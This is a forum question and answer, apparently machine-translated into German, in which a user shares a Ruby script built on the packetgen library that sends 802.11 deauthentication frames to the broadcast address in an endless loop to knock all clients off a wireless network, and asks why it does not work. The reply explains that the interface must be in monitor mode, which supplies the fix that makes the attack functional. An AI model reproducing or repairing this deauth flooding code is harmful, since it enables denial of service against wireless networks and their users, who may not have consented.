Deauth-Frames werden als Ethernet-II-Frames unter Wirshark angezeigt

546
Practical1

Ich versuche, ein einfaches Deauth-Angriffsskript zu schreiben, aber wenn ich anstelle von Deauth-Frames Wireshark einschalte, sehe ich nur Ethernet-II-Frames. Außerdem haben die Frames keinen Einfluss auf die Geräte meines Netzwerks. Liegt es daran, dass ich Wireshark im Promiscuous-Modus verwende, oder liegt ein Problem mit meiner Netzwerkkonfiguration oder meinem Skript vor? Der Code ist unten und der Screenshot ist ein Link zu einer ähnlichen Frage, die ich hier zum Stack-Überlauf gestellt habe .

require 'packetgen'  def deauth() network = 'wlp2s0' yes = 'y' no = 'n' broadcast = 'FF:FF:FF:FF:FF:FF' print 'Do you want to deauth network?[y/n]' input = gets.chomp if input == yes or yes.upcase! puts 'Deauthing all network clients...' while true PacketGen.gen('Dot11::Management', mac1: broadcast). add('Dot11::DeAuth'). to_w(network) end elsif input == no or no.upcase! print 'Okay :(' end end deauth() 
0

1 Antwort auf die Frage

0
Spiff

Stellen Sie sicher, dass Sie die Pakete in eine Schnittstelle injizieren, die sich im 802.11-Überwachungsmodus befindet. Andernfalls geht die Schnittstelle davon aus, dass Sie 802.3-verkabelte Ethernet-Pakete injizieren und diese als solche behandeln.

Vielen Dank für die Antwort! Practical1 vor 6 Jahren 0
Wenn das Problem dadurch gelöst wird, klicken Sie auf das Häkchen neben dieser Antwort, um es als gelöst zu markieren. Spiff vor 6 Jahren 0